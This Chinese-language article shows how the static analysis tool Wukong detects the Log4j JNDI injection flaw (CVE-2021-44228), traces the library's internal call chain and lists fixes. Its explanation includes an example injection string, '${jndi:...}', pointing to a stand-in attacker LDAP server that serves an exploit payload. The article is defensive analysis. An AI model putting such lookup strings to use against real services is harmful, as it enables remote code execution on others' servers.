静态代码检测工具Wukong对log4J中的漏洞检测、分析及漏洞修复
一、简介
最近的Log4J漏洞(CVE-2021-44228)正造成网络大乱,其影响力不亚于早期的HeartBleeding漏洞。2.0-beta9 ~ 2.14.1版本的Apache Log4j2均存在改漏洞,可以说直接影响了大部分基于Java的应用。该漏洞最早被阿里云安全团队发现并验证,随即被Apache定义为高危级别。
Log4j在log字符串”${jndi:xxx}”时,“${“这一特殊字符会指定Log4J通过JNDI来根据字符串”xxx”获得对应名称。如果字符串“xxx”为有害的URL” (LDAP:// attackerserver.com:1389/ExploitPayload”),JNDI会远程加载调用该URL指定的服务器上任意代码并执行。JNDI(Java Naming and Directory Interface),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。该漏洞属于典型的注入类型漏洞,攻击者通过控制日志消息或日志消息参数注入恶意代码。
如果用户输入被输出到日志中,由于Log4J组件未对用户输入进行充分输入验证,攻击者可以通过Apache Log4j2 JNDI 功能来执行注入代码,包括从指定恶意LDAP服务器并加载的的任意代码。
二、通过Wukong检测log4J漏洞
对于注入类漏洞(包括SQL注入、命令行注入、XSS等),我们可以通过经典的信息流分析技术来检测是否存在一条路径从用户输入 (Source) 到达危险操作点(Sink),且该用户输入未经过输入验证。
对于Log4J漏洞,当检测log4J库时,Source为Log4J组件提供的公共API输入(例如Log4j.error()的参数),Sink为访问JNDI服务的接口。Wukong可以有效地检测出Log4J库中存在的jndi注入问题。如图1所示。
图1:通过Wukong检测Log4J漏洞
注意触发该漏洞的调用链非常长,隐藏比较深且涉及到复杂的指针依赖关系,我们测试过一些其他静态分析工具均未能检测出该漏洞。
三、错误根源分析
漏洞触发路径如下所示:
1、 获取Logger,并调用error方法
2、 error方法内会调用logIfEnabled方法,注意,debug、info、warn、error、fatal等公共API都会调用logIfEnabled方法
3、 logIfEnaled方法会调用logMessage方法
4、 接着会根据进入下列调用链:logMessageSafely -> logMessageTrackRecursion -> tryLogMessage -> Logger.log -> DefaultReliabilityStrategy.log -> processLogEvent -> callAppenders -> callAppenderPreventRecursion -> callAppender0 -> tryCallAppender -> append -> tryAppend -> directEncodeEvent -> PatternLayout.encode -> toText -> toSerializable -> PatternFormatter.format 最终会调用MessagePatternConverter类的format函数,当日志字串带有”${”的时候会特殊处理。
5、 字串会交给StrSubstitutor做replace -> substitute处理,找到 “${” 对应的 “}” 并提取中间的字串,这里是“jndi:xxx”
6、 Substitute方法会调用resolveVariable,接着会调用JndiLookup类的lookup函数
7、 最后JndiManager的lookup函数会解析jndi资源,这里是“xxx”,如果“xxx“部分是可执行的恶意程序,那么该程序将会被执行,从而产生非常严重的危害。
因而,如果服务器代码中直接将用户的输入使用Logger写入日志,则用户可以构造任意恶意代码攻击服务器。
四、漏洞修复
对该漏洞的修复在log4j2.15.0及以后版本中是通过将“${“字符过滤进行特殊处理。对于应用的补丁是建议直接升级到2.15.0及以后版本,如果由于兼容性的原因难以升级,可以通过以下方法暂时处理:
1、 修改jvm启动参数,-Dlog4j2.formatMsgNoLookups=true
2、 修改配置:log4j2.formatMsgNoLookups=True
3、 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
同时注意该漏洞仅仅能在用户输入被Log的时候触发,因而我们可以通过静态分析工具Wukong检测应用中是否存在用户输入直接输出到日志中:对于应用程序代码我们可以将外部输作为source,将log函数作为sink,查看是否存在一条路径可达,即是否存在外部输入可以控制log函数的参数。如果不存在这样一条路径,log4J中的漏洞也不会触发。